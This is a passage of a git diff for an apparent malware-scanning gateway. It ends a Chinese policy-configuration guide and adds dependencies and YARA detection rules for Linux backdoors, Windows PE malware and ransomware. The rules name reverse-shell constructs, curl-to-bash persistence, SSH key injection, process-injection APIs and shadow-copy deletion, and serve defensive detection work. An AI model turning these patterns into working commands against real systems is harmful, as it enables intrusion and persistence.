必须是映射结构 | +| `review_score` | 下界必须小于上界 | +| `block_score` | 不应低于 `review_score` 上界;须在 0~100 之间 | +| `rule_overrides[].action` | 必须是合法动作枚举 | +| `allowed_extensions` | 每项必须以 `.` 开头 | +| `sync_max_size` | 须 ≤ `max_file_size` | + +> **为什么校验失败要保留旧策略**:如果加载失败时回退到"默认策略"或"空策略",等于把生产环境的判定逻辑悄悄改掉了,比直接报错危险得多。 + +### 5.2 重载失败的表现 + +```json +{ + "detail": "策略校验失败: block_score (50) 不应低于 review_score 上界 (70)" +} +``` + +原策略继续生效。修正后重新调用重载接口。 + +### 5.3 常见配置错误 + +| 错误 | 后果 | 修正 | +|---|---|---| +| 扩展名写成 `docx`(漏点) | 加载校验失败 | 改为 `.docx` | +| 扩展名大写 `.DOCX` | 加载校验失败 | 改为小写 | +| `rule_overrides` 规则名拼错 | **静默失效** | 对照接口文档 §6 核对,并实际测试 | +| `block_score` 调得极低(如 10) | 正常文件大量被拒 | 回调至 60~80 | +| `allowed_extensions` 留空 | 所有类型都被拒 | 补充清单 | + +> **规则名拼错是唯一会静默失效的配置错误**,务必实测。 + +--- + +## 6. 变更管理 + +### 6.1 变更流程 + +``` +提出变更 → 安全管理员评审 → 备份当前策略 → 修改配置 + → 语法校验(本地) → 重载 → 用样本文件验证 → 记录变更 +``` + +### 6.2 变更记录要求 + +每次策略变更应记录: + +| 项 | 说明 | +|---|---| +| 变更时间 | 精确到分钟 | +| 变更人 | 姓名与账号 | +| 变更内容 | 具体字段的前后值 | +| 变更原因 | 业务或安全需求说明 | +| 影响评估 | 是否影响在途文件、是否需要通知对接方 | +| 验证方式 | 用哪些样本文件验证、结果如何 | + +### 6.3 版本追溯 + +每次扫描结果携带 `meta.policy_version` 与 `meta.policy_sha256`。数据库中保留策略版本快照,可用于**按历史策略复现**某一历史文件的判定结果。 + +### 6.4 灰度建议 + +策略变更影响面大时,建议: + +1. 先在测试环境用真实样本文件验证 +2. 对比新旧策略的判定差异(可通过 `rescan` 接口批量重跑) +3. 差异符合预期后再在生产重载 + +--- + +## 附录:完整默认策略 + +见 `config/policy.yaml`。本文档说明各字段含义,实际以配置文件为准。 + +--- + +**文档结束** · 配套文档:《总体方案》《接口文档》《等保三级对照表》《运维手册》 diff --git a/logo.png b/logo.png new file mode 100644 index 0000000..698bcf6 Binary files /dev/null and b/logo.png differ diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..48d1a01 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,39 @@ +# ============================================================================= +# MeshSafe 生产部署依赖(Python 3.12 + Debian slim) +# ============================================================================= + +# Web 框架 +fastapi==0.115.6 +uvicorn[standard]==0.34.0 +python-multipart==0.0.20 +pydantic==2.10.5 +pydantic-settings==2.7.1 +jinja2==3.1.4 + +# 数据库 +sqlalchemy==2.0.37 +psycopg2-binary==2.9.10 + +# 缓存 / 限流(Redis,单机不可用时自动降级内存) +redis==5.2.1 + +# 安全 +cryptography==44.0.0 + +# 检测引擎 +oletools==0.60.2 +olefile>=0.47 +msoffcrypto-tool>=5.4.1 +pefile==2023.2.7 +yara-python==4.5.0 +pypdf==5.1.0 +python-magic==0.4.27 + +# 工具 +httpx==0.28.1 +requests==2.32.3 +PyYAML==6.0.2 +python-dateutil==2.9.0.post0 + +# 诊断套件 +docker==7.2.0 diff --git a/rules/linux.yar b/rules/linux.yar new file mode 100644 index 0000000..59374a0 --- /dev/null +++ b/rules/linux.yar @@ -0,0 +1,307 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— Linux / 跨平台后门专项(C7) +// ============================================================================= +// +// 设计原则: +// - 光闸摆渡场景,所有规则 2-3 特征组合命中,避免单一关键词误伤合法 Shell/Python 代码 +// - 覆盖范围:反弹 Shell、持久化(crontab/authorized_keys/systemd/LD_PRELOAD)、 +// Rootkit 特征、挖矿通用特征 +// - 命中后作为 finding 交给 PolicyEngine 权重累加 +// +// 维护: +// - 新后门工具/家族出现时优先补充 "工具名 + 持久化手段" 组合 +// ============================================================================= + + +// ============================================================================= +// C7-1 反弹 Shell(多种语言实现) +// ============================================================================= + +rule C7_Linux_ReverseShell_Bash { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1059.004 Bash" + description = "Bash 反弹 Shell 组合:/dev/tcp + bash -i 或 sh -c" + strings: + $devtcp = /\/dev\/tcp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii + $bash_i = "bash -i" ascii + $sh_c = /sh\s+-c\s+['"]bash -i/ ascii + $exec3 = "exec 3<>/dev/tcp/" ascii + $exec4 = "exec 4>&0 0>&1 1>&4" ascii + condition: + // /dev/tcp/IP:PORT + bash -i 这两个必须同时出现 + $devtcp and ($bash_i or $sh_c or $exec3) + or + // exec fd 重定向链 + $exec3 and $exec4 +} + +rule C7_Linux_ReverseShell_NC { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.004 Netcat" + description = "nc/ncat 反弹 Shell:-e/-c 参数指定 bash 或 sh" + strings: + $nc1 = /nc\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc2 = /ncat\s+[\w.-]+\s+\d{2,5}\s+-e\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc3 = /nc\s+[\w.-]+\s+\d{2,5}\s+-c\s+(\/bin\/(ba)?sh|bash|sh)/ ascii + $nc4 = /netcat\s+[\w.-]+\s+\d{2,5}\s+-e/ ascii + $mkfifo = /mkfifo\s+\/tmp\/\w+;\s*(nc|ncat)\s+/ ascii + condition: + any of ($*) +} + +rule C7_Linux_ReverseShell_Python { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.006 Python" + description = "Python 反弹 Shell:socket + exec/bin/sh + pty" + strings: + $socket1 = "import socket" ascii + $socket2 = "socket.socket" ascii + $pty = "import pty" ascii + $sub = "import subprocess" ascii + $sh = /\/bin\/(ba)?sh/ ascii + $osdup2 = "os.dup2" ascii + $execv = "os.execv" ascii + condition: + // socket + pty + /bin/bash = 完整 Python pty 反弹 + ($socket1 or $socket2) and $pty and $sh + or + // socket + subprocess + /bin/sh + dup2 = 经典模式 + ($socket1 or $socket2) and $sub and $sh and $osdup2 + or + // socket + os.execv + /bin/bash + ($socket1 or $socket2) and $execv and $sh +} + +rule C7_Linux_ReverseShell_Perl { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1059.005 Perl" + description = "Perl 反弹 Shell:IO::Socket + exec + /bin/sh" + strings: + $iosocket = "IO::Socket::INET" ascii nocase + $socketvar = /\$s\s*=\s*IO::Socket/ ascii + $exec = /exec\s+['"]\/bin\/(ba)?sh['"]/ ascii + $open = /open\s*\(.*<&\$\{?s\}?/ ascii + $eval = /eval\s+reverse\s+['"]/ ascii + condition: + ($iosocket or $socketvar) and ($exec or $open or $eval) +} + +rule C7_Linux_ReverseShell_Socat { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1059.004 Socat" + description = "socat 反弹 Shell:TCP-LISTEN + EXEC:/bin/bash" + strings: + $socat1 = /socat\s+(TCP-LISTEN:\d{2,5},?\s*(reuseaddr|fork)?|TCP4:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5})/ ascii + $socat2 = /EXEC:\/bin\/(ba)?sh/ ascii + $socat3 = /EXEC:'\/bin\/(ba)?sh'/ ascii + condition: + any of ($socat1*) and any of ($socat2, $socat3) +} + +rule C7_Linux_ReverseShell_Misc { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "多种语言反弹 Shell 通用特征" + description = "通用反弹 Shell 标记:/dev/tcp 或 /dev/udp 或 reverse shell 工具名" + strings: + $devudp = /\/dev\/udp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii + $bashc = /bash\s+-c\s+['"].*\/dev\/(tcp|udp)/ ascii + $dash_e = /\/bin\/bash\s+-e\s+['"]/ ascii + $hydra = /Hydra|crackmap|weevely|meterpreter|msfconsole|msfvenom/ ascii nocase + $reverseshell = /reverse[_\s]?shell|shell[_\s]?shock/ ascii nocase + condition: + any of ($devudp, $bashc, $dash_e) or any of ($hydra, $reverseshell) +} + + +// ============================================================================= +// C7-2 持久化 —— crontab / authorized_keys / systemd +// ============================================================================= + +rule C7_Linux_Persistence_Crontab { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1053.003 Cron" + description = "crontab 持久化:下载执行 + .bashrc 注入 + /tmp/.hidden 目录" + strings: + $crontab1 = /\*\s+\*\s+\*\s+\*\s+\*\s+(curl|wget)\s+['"]?https?:/ ascii + $crontab2 = /\*\s+\*\s+\*\s+\*\s+\*\s+(bash|sh)\s+\S+\s+['"]\/dev\/tcp/ ascii + $crontab3 = /crontab\s+-[lre]?\s+\/tmp\/\w+/ ascii + $bashrc = /\.bashrc|\.bash_profile|\.profile/ ascii + $wget = /wget\s+https?:/ ascii + $curl = /curl\s+.*\|\s*(bash|sh)/ ascii + $hidden = /\/tmp\/\.?\w+\s+&&/ ascii + condition: + any of ($crontab1, $crontab2, $crontab3) + or + $bashrc and ($wget or $curl) and $hidden +} + +rule C7_Linux_Persistence_AuthorizedKeys { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1098 SSH Authorized Keys" + description = "authorized_keys 写入:下载公钥 + 追加到 .ssh/authorized_keys + chmod 600" + strings: + $authkeys = /\.ssh\/authorized_keys/ ascii + $wgetkey = /wget\s+-O\s+.*authorized_keys/ ascii + $curlkey = /curl\s+.*authorized_keys/ ascii + $echokey = /echo\s+['"]ssh-(rsa|ecdsa|ed25519)/ ascii + $chmod = /chmod\s+\d{3,4}\s+\$\{?SSH_DIR\}?authorized_keys/ ascii + condition: + any of ($wgetkey, $curlkey, $echokey) or ($authkeys and any of ($wgetkey, $curlkey, $chmod)) +} + +rule C7_Linux_Persistence_SystemD { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1543.002 Systemd Service" + description = "恶意 systemd unit 文件:ExecStart 指向 /tmp/.hidden + multi-user.target + 反弹命令" + strings: + $unit = /\[Unit\]/ ascii + $service = /\[Service\]/ ascii + $install = /\[Install\]/ ascii + $execstart = /ExecStart=/ ascii + $multiuser = /multi-user\.target/ ascii + $hiddenpath = /\/tmp\/\.?\w+|\/var\/tmp\/\.?\w+/ ascii + $bashsh = /\/bin\/(ba)?sh\s+-c/ ascii + condition: + // 完整 unit 片段 + 可疑路径 + $unit and $service and $execstart and ($hiddenpath or $bashsh) + or + // Install multi-user.target + ExecStart 反弹 + $install and $multiuser and any of ($execstart, $bashsh) +} + +rule C7_Linux_Persistence_LD_PRELOAD { + meta: + risk_level = "high" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1574.006 LD_PRELOAD" + description = "LD_PRELOAD 劫持:环境变量注入 + .so 文件 + dlopen" + strings: + $ldpreload = /LD_PRELOAD=/ ascii + $sofile = /\.so(\.\d+)?:?/ ascii + $dlopen = "dlopen" ascii + $dlsym = "dlsym" ascii + $exportenv = /export\s+LD_PRELOAD/ ascii + condition: + ($ldpreload or $exportenv) and ($sofile or $dlopen or $dlsym) +} + + +// ============================================================================= +// C7-3 Rootkit + 挖矿通用特征 +// ============================================================================= + +rule C7_Linux_Rootkit_KernelModule { + meta: + risk_level = "critical" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1547.006 Kernel Modules and Extensions" + description = "内核模块加载:insmod/modprobe + .ko + /proc/kallsyms 隐藏" + strings: + $insmod = /insmod\s+.*\.ko/ ascii + $modprobe = /modprobe\s+.*\.ko/ ascii + $ko = /\.ko(\.xz|\.gz)?\b/ ascii + $hiddenproc = /hide_process_from_dcache|hide_module/ ascii + $proc = /\/proc\/kallsyms|\/proc\/modules/ ascii + $netstat = /\/proc\/net\/tcp|\/proc\/net\/udp/ ascii + condition: + any of ($insmod, $modprobe) and any of ($ko, $hiddenproc) + or + any of ($hiddenproc) and any of ($proc, $netstat) +} + +rule C7_Linux_Miner_Generic { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1496 Resource Hijacking" + description = "挖矿通用特征:stratum+tcp 协议 + 非标准端口(3333/5555/8080)" + strings: + $stratum = "stratum+tcp://" ascii + $stratums = "stratum+ssl://" ascii + $pool = /pool\.(xmr|mine|nanopool|coin|mining)/ ascii nocase + $port3333 = /:\s*3333\b/ ascii + $port5555 = /:\s*5555\b/ ascii + $highcpu = /nice\s+-n\s+[+-]?\d+|cpulimit\s+-l/ ascii + condition: + any of ($stratum, $stratums, $pool) and any of ($port3333, $port5555) + or + any of ($stratum, $stratums) and $highcpu +} + + +// ============================================================================= +// C7-4 跨平台后门:Ruby + Lua + Node.js +// ============================================================================= + +rule C7_Misc_Ruby_Lua_ReverseShell { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "多语言反弹 Shell" + description = "Ruby/Lua 反弹 Shell:TCPSocket + exec/system" + strings: + $ruby = "TCPSocket" ascii + $lua = "loadstring" ascii + $lua2 = "luasocket" ascii + $exec = /(exec|system|IO\.popen)\s+.*\/bin\/(ba)?sh/ ascii + condition: + any of ($ruby, $lua, $lua2) and ($exec or any of ($ruby, $lua, $lua2)) +} + + +// ============================================================================= +// C7-5 网络投毒 / MITM 工具(内网横向移动) +// ============================================================================= + +rule C7_Network_Tools_Malicious { + meta: + risk_level = "medium" + category = "C7" + false_positive_rate = "medium" + reference = "内网攻击工具" + description = "内网攻击工具:ettercap/responder/nmap 扫描 + SMB/DNS 投毒" + strings: + $ettercap = "ettercap" ascii nocase + $responder = /responder(\.py)?/ ascii nocase + $nmap = "nmap" ascii nocase + $smb = /--smb/ ascii + $ms17 = "ms17-010" ascii nocase + $smbghost = "SMBGhost" ascii nocase + $dnsspoof = /dns[-_]spoof|dns[-_]mitm/ ascii nocase + $arppoison = /arp[-_]poison|arp[-_]spoof/ ascii nocase + condition: + any of ($ettercap, $responder, $dnsspoof, $arppoison) + or + $nmap and ($smb or $ms17 or $smbghost) +} diff --git a/rules/pe.yar b/rules/pe.yar new file mode 100644 index 0000000..d0145c2 --- /dev/null +++ b/rules/pe.yar @@ -0,0 +1,403 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— Windows PE 恶意程序专项(C1 + C8) +// ============================================================================= +// +// 设计原则: +// - 所有规则使用 2-3 特征组合命中(API 组合 + C2 URL + Mutex 持久化等) +// - binary.py 的 PE 结构分析负责:节熵 + 签名 + 可疑导入(单 API) +// - YARA 负责:多 API 组合 + 字符串组合 + 壳 + 勒索专项 +// - 命中后作为 finding 交给 PolicyEngine 权重累加,不直接零容忍 +// +// 范围: +// - C1: Windows PE 恶意程序(注入器 / 下载器 / RAT / Loader) +// - C8: 勒索 / 挖矿专项 +// - C9: 壳 / 签名 / 结构异常(binary.py 已覆盖大部分,YARA 补充壳特征) +// +// 维护: +// - 新恶意家族出现时,优先补充"API 组合 + Mutex 名 + C2 URL"三件套 +// - 壳特征(UPX/Themida/VMP)可识别后自动送沙箱深检 +// ============================================================================= + + +// ============================================================================= +// C1-1 进程注入三件套(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread) +// binary.py 扫了 SuspiciousImports(单个 API),但 3 个同时出现 = 必然是注入器 +// ============================================================================= + +rule C1_PE_ProcessInjection { + meta: + risk_level = "critical" + category = "C1" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1055 Process Injection" + description = "PE 文件同时导入 进程注入三件套 API = 远控/注入器特征" + strings: + $s1 = "VirtualAllocEx" ascii + $s2 = "WriteProcessMemory" ascii + $s3 = "CreateRemoteThread" ascii + // 备选:Nt 系列(NtUnmapViewOfSection + VirtualAllocEx + CreateRemoteThread) + $n1 = "NtUnmapViewOfSection" ascii + $n2 = "NtMapViewOfSection" ascii + $n3 = "ZwUnmapViewOfSection" ascii + // 也可能是 QueueUserAPC 注 APC 注入 + $apc = "QueueUserAPC" ascii + // 或 SetWindowsHookEx DLL 注入 + $hook = "SetWindowsHookEx" ascii + condition: + // 经典三件套(必须同时命中) + $s1 and $s2 and $s3 + or + // Nt 系列内存注入(至少 2 个 Nt + 1 个注入) + (any of ($n1, $n2, $n3) and any of ($s1, $s3, $apc)) + or + // APC 注入 + VirtualAllocEx + $apc and $s1 + or + // Hook DLL 注入 + $hook and $s1 +} + + +// ============================================================================= +// C1-2 下载器组合(网络 API + 本地持久化 / 执行) +// 单一 URLDownloadToFile 不致命,但 "下载 + 执行 + 持久化" 三件套 = Loader +// ============================================================================= + +rule C1_PE_Downloader_Loader { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1105 Ingress Tool Transfer" + description = "下载器组合:HTTP/FTP 下载 + 写入到可疑路径 + 执行" + strings: + // 网络下载 API(任选其一) + $net1 = "URLDownloadToFile" ascii + $net2 = "InternetOpenUrl" ascii + $net3 = "WinHttpOpen" ascii + $net4 = "WinHttpOpenRequest" ascii + $net5 = "FtpOpenFile" ascii + $net6 = "DownloadFile" ascii + $net7 = "WinHttpSendRequest" ascii + + // 写入/保存到本地 + $save1 = "WriteFile" ascii + $save2 = "SaveToFile" ascii + $save3 = "URLDownloadToCacheFile" ascii + + // 执行下载的载荷 + $exec1 = "WinExec" ascii + $exec2 = "CreateProcess" ascii + $exec3 = "ShellExecute" ascii + $exec4 = "CreateRemoteThread" ascii + + // 持久化(注册表/启动项) + $persist1 = "RegSetValueEx" ascii + $persist2 = "SetServiceObjectSecurity" ascii + $persist3 = "CreateService" ascii + $persist4 = "schtasks.exe" ascii + $persist5 = "RUN" ascii // HKCU\Software\Microsoft\Windows\CurrentVersion\Run + condition: + // 下载 + 保存 + 执行(三件套) + any of ($net*) and any of ($save*) and any of ($exec*) + or + // 下载 + 持久化(即使没执行也是准备投毒) + any of ($net*) and any of ($persist*) + or + // 执行 + 持久化(下载可能在运行时动态完成) + any of ($exec1, $exec2, $exec3) and any of ($persist*) +} + + +// ============================================================================= +// C1-3 RAT / 远控特征(C2 通信 + 命令执行 + 持久化) +// ============================================================================= + +rule C1_PE_RAT_CommandControl { + meta: + risk_level = "critical" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1071 Application Layer Protocol" + description = "RAT C2 通信特征:WinHTTP/WSASend + 命令执行 API + 可疑 URL/域名" + strings: + // C2 网络通道 + $c2_send = /WSASend|send\s*\(|sendto|WinHttpSendRequest|InternetWriteFile/ ascii + $c2_recv = /WSARecv|recv\s*\(|recvfrom|WinHttpReadData|InternetReadFile/ ascii + $c2_connect = /WSAConnect|connect\s*\(|WinHttpConnect|InternetConnect/ ascii + + // 命令执行 + $cmd = /CreateProcess|ShellExecute|WinExec|system\s*\(|popen/ ascii + + // 可疑 C2 URL(可执行文件里出现 http://...exe 或常见 C2 域名) + $c2url1 = /http:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}/ ascii + $c2url2 = /https?:\/\/[^\"\s'\)]+\.(ru|top|xyz|tk|ml|ga|gq|cf|pw|click|stream|xyz|buzz|loan)\/[^\"\s'\)]*\.exe/ ascii + $c2url3 = /(c2|panel|gate|bot|ops|serv|beacon|stage|stager)\.(ru|top|xyz|cc|io|com|net)/ ascii + condition: + // C2 通信 + 命令执行(至少两个网络 + 一个命令) + any of ($c2_send, $c2_recv, $c2_connect) and any of ($cmd*) and any of ($c2url*) + or + // C2 URL 模式 + 网络 API + any of ($c2url*) and any of ($c2_connect, $c2_send) +} + + +// ============================================================================= +// C1-4 Mutex 互斥体名(勒索 / RAT / Loader 的持久化标记) +// 单一 Mutex 名有一定价值,但必须配合其他特征才触发 +// ============================================================================= + +rule C1_PE_Mutex_Persistence { + meta: + risk_level = "medium" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1057 Process Discovery (mutex as persistence marker)" + description = "可疑 Mutex 名称 + CreateMutex API = 持久化标记" + strings: + $createmutex = "CreateMutexA" ascii + $createmutexw = "CreateMutexW" ascii + // 常见勒索/RAT Mutex 名(大小写不敏感,含 Unicode 变体用 wide) + // LockBit + $lockbit1 = /Global\\[Ll]ock[Bb]it/ ascii + $lockbit2 = /Local\\[Ll]ock[Bb]it/ ascii + // BlackCat / ALPHV + $blackcat = /Global\\[Bb]lack[Cc]at|[Aa][Ll][Pp][Hh][Vv]/ ascii + // Ryuk + $ryuk = /RyukTask[\d]|Global\\Ryuk/ ascii + // Conti + $conti = /Global\\[Cc]onti|Local\\[Cc]onti/ ascii + // Pseudo/Dharma + $dharma = /Global\\[Dd]harma|Local\\[Dd]harma/ ascii + // 通用可疑模式:Mutex 名包含 "Mutex" + UUID 变体 + $generic1 = /Global\\Mutex[0-9a-f]{8}/ ascii + // Kryptik/Qakbot + $qakbot = /[Qq]akbot|[Kk]ryptik/ ascii + // Cobalt Strike named pipe + $cs1 = /\\\\\.\\pipe\\msagent_[0-9a-f]+/ ascii + $cs2 = /\\\\\.\\pipe\\[Bb]eacon_[0-9a-f]+/ ascii + condition: + // CreateMutex + 已知家族 Mutex 名 + (any of ($createmutex*)) and any of ($lockbit1, $lockbit2, $blackcat, $ryuk, $conti, $dharma, $qakbot) + or + // Cobalt Strike 命名管道特征(不需要 CreateMutex) + any of ($cs*) + or + // CreateMutex + 通用可疑 UUID Mutex + (any of ($createmutex*)) and $generic1 +} + + +// ============================================================================= +// C1-5 DLL 劫持 / LoadLibrary 动态加载 +// ============================================================================= + +rule C1_PE_DLLHijacking { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1574 Hijack Execution Flow" + description = "PE 动态加载多个系统 DLL + 非系统路径 = DLL 劫持迹象" + strings: + $loadlib = "LoadLibraryA" ascii + $loadlibw = "LoadLibraryW" ascii + $getproc = "GetProcAddress" ascii + // 可疑加载路径(非 System32) + $path1 = /\\Users\\[^\\]+\\AppData\\Local\\Temp/ ascii + $path2 = /\\AppData\\Local\\Temp/ ascii + $path3 = /\\ProgramData\\/ ascii + $path4 = /\\Public\\Documents\\/ ascii + condition: + // LoadLibrary + 可疑路径 + GetProcAddress = 完整劫持链 + (any of ($loadlib*)) and any of ($path*) and $getproc + or + // LoadLibrary + 多个可疑路径 + (any of ($loadlib*)) and 2 of ($path*) +} + + +// ============================================================================= +// C1-6 LOLBin(Living Off The Land Binary)调用特征 +// 已知合法 Windows 二进制被恶意利用来执行命令 +// ============================================================================= + +rule C1_PE_LOLBin_Usage { + meta: + risk_level = "high" + category = "C1" + false_positive_rate = "low" + reference = "https://lolbas-project.github.io/" + description = "PE 文件中出现 LOLBin 调用:certutil / mshta / rundll32 / regsvr32 / bitsadmin / wmic / msiexec" + strings: + $certutil = /certutil(\.exe)?\s+(-urlcache|-decode|-encode|-hashfile)/ ascii + $mshta = /mshta(\.exe)?\s+(https?:|javascript:|vbscript:)/ ascii + $rundll32 = /rundll32(\.exe)?\s+[A-Za-z0-9_.]+,/ ascii + $regsvr32 = /regsvr32(\.exe)?\s+\/s\s+\/u/ ascii + $bitsadmin = /bitsadmin(\.exe)?\s+(\/transfer|\/create)/ ascii + $wmic = /wmic(\.exe)?\s+(process\s+call\s+create|product\s+call)/ ascii + $msiexec = /msiexec(\.exe)?\s+\/[ia]\s+https?:/ ascii + $installutil = /installutil(\.exe)?\s+\/u\s+\/logfile=/ ascii + $syncapp = /syncapp(\.exe)?\s+\/compattrack/ ascii + $psexec = /psexec(\.exe)?\s+(-accepteula|-i\s+\d+|-w\s+https?:)/ ascii + // 命令执行 API(用于组合条件) + $exec1 = "CreateProcess" ascii + $exec2 = "ShellExecute" ascii + $exec3 = "WinExec" ascii + condition: + // 至少 1 个 LOLBin 调用 + 命令执行 API + any of ($certutil*, $mshta*, $rundll32*, $regsvr32*, $bitsadmin*, $wmic*, $msiexec*, $installutil*, $syncapp*, $psexec*) + and any of ($exec*) +} + + +// ============================================================================= +// C8-1 勒索加密 API 组合(CryptEncrypt + BCrypt* + 文件遍历 + 删除卷影) +// ============================================================================= + +rule C8_Ransomware_Encryption { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1486 Data Encrypted for Impact" + description = "勒索加密链:CryptEncrypt/BCryptEncrypt + 大量文件遍历 + 卷影删除 = 勒索" + strings: + // 加密 API(至少出现两个) + $enc1 = "CryptEncrypt" ascii + $enc2 = "CryptDeriveKey" ascii + $enc3 = "BCryptEncrypt" ascii + $enc4 = "BCryptDeriveKeyPair" ascii + $enc5 = "CryptGenKey" ascii + + // 文件遍历(全盘加密需要) + $enum1 = "FindFirstFileA" ascii + $enum2 = "FindFirstFileW" ascii + $enum3 = "FindNextFileA" ascii + $enum4 = "FindNextFileW" ascii + + // 卷影删除(勒索前置) + $vss1 = "vssadmin" ascii + $vss2 = "delete shadows" ascii + $vss3 = "DeleteShadowCopies" ascii + $vss4 = "wmic" ascii + + // 勒索信文件名变体(出现在二进制里) + $ransomnote1 = /(HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README|HELP_DECRYPT|_readme|_restore)[\w.-]*\.(txt|html|png|jpg|bmp|url)/ nocase + $ransomnote2 = /\.(locky|zepto|cryptolocker|tor|crpt|encrypted|virus|wallet|pay2)/ nocase + $ransomnote3 = /bitcoin|bitcash|monero|ltc|BTC\b/ ascii + condition: + // 加密 API + 文件遍历 = 加密工具(必须至少 2 个加密 API) + (2 of ($enc*)) and any of ($enum*) + or + // 加密 API + 卷影删除 = 完整勒索 + (any of ($enc*)) and any of ($vss*) + or + // 加密 API + 勒索信 + 加密文件扩展名 = 明确勒索 + (any of ($enc*)) and (any of ($ransomnote1, $ransomnote2)) and $ransomnote3 +} + + +// ============================================================================= +// C8-2 挖矿(xmrig / stratum+tcp / 矿池域名) +// ============================================================================= + +rule C8_Mining_Monero { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "low" + reference = "MITRE ATT&CK T1496 Resource Hijacking" + description = "挖矿程序特征:xmrig 命令行参数 / stratum+tcp / 矿池域名" + strings: + // xmrig 命令行特征 + $xmrig1 = "xmrig" ascii nocase + $xmrig2 = /--donate-level\s+\d+/ ascii + $xmrig3 = /-o\s+stratum\+tcp/ ascii + $xmrig4 = /--cpu-priority\s+\d/ ascii + $xmrig5 = /--max-threads-hint/ ascii + + // 矿池域名(Monero) + $pool1 = "pool.xmrig.com" ascii nocase + $pool2 = "pool.minexmr.com" ascii nocase + $pool3 = "pool.supportxmr.com" ascii nocase + $pool4 = "mine.moneropool.com" ascii nocase + $pool5 = "stratum+tcp://" ascii + + // CPU 高占用循环特征 + $loop = /(while|for)\s*\(\s*\d+\s*[<>=]/ ascii + $thread = "CreateThread" ascii + condition: + // 至少 2 个 xmrig 特征 + (any of ($xmrig1, $xmrig2, $xmrig3, $xmrig4, $xmrig5)) and 2 of ($*) + or + // stratum+tcp 矿池协议 + 多个线程创建 + $pool5 and ($thread or 2 of ($xmrig*)) +} + + +// ============================================================================= +// C9 壳特征(UPX / Themida / VMProtect / Enigma) +// 壳识别后建议升级到 L3 沙箱深检,不单独阻断 +// ============================================================================= + +rule C9_Packer_UPX { + meta: + risk_level = "medium" + category = "C9" + false_positive_rate = "low" + reference = "UPX Packer" + description = "UPX 加壳 PE:节名 UPX0 / UPX1 + UPX 签名" + strings: + $upx0 = "UPX0" ascii + $upx1 = "UPX1" ascii + $upx2 = "UPX!" ascii + $upx3 = /UPX\s+\d+\.\d+/ ascii // "UPX 3.96" 这类版本字符串 + $upx4 = /UPX\b/ ascii + condition: + // 节名(两个)+ 签名 + ($upx0 and $upx1) or ($upx2 and any of ($upx3, $upx4)) +} + +rule C9_Packer_Themida_VMP { + meta: + risk_level = "medium" + category = "C9" + false_positive_rate = "low" + reference = "Themida / VMProtect" + description = "商业壳特征:Themida / VMProtect 产品标识字符串" + strings: + $themida1 = "Themida" ascii wide + $themida2 = "WinLicense" ascii wide + $themida3 = "Oreans" ascii wide + $vmp1 = "VMProtect" ascii wide + $vmp3 = "VMProtect SDK" ascii wide + condition: + any of ($themida*) or any of ($vmp*) +} + + +// ============================================================================= +// C1-7 PE 高熵 + 大量网络 API(疑似加壳下载器) +// binary.py 的 HighEntropySection 已单独扫描,但 YARA 看"熵 + 网络"组合 +// ============================================================================= + +rule C1_PE_EntropyHighNetwork { + meta: + risk_level = "medium" + category = "C1" + false_positive_rate = "medium" + reference = "binary.py HighEntropySection 联动" + description = "PE 同时出现:多个网络 API + 加壳特征(熵高) + 无签名" + strings: + $net1 = "InternetOpenUrl" ascii + $net2 = "WinHttpOpen" ascii + $net3 = "URLDownloadToFile" ascii + $net4 = "WSAConnect" ascii + // 壳特征 + $upx = "UPX0" ascii + $themida = "Themida" ascii + condition: + // 网络 API + 壳特征 = 加壳下载器 + any of ($net*) and ($upx or $themida) +} diff --git a/rules/ransom.yar b/rules/ransom.yar new file mode 100644 index 0000000..ae9c6da --- /dev/null +++ b/rules/ransom.yar @@ -0,0 +1,210 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 —— 勒索 / 挖矿专项(C8,剩余家族) +// ============================================================================= +// +// 设计原则: +// - C8_Ransomware_Encryption 在 pe.yar 里已经覆盖了"加密 API + 卷影删除 + 勒索信"通用链 +// - 本文件补充:具体家族特征(LockBit/BlackCat/Conti/Ryuk/Pseudo)+ +// 文件扩展名黑名单变体 + 勒索信文件名模式 +// - 必须满足"加密 API 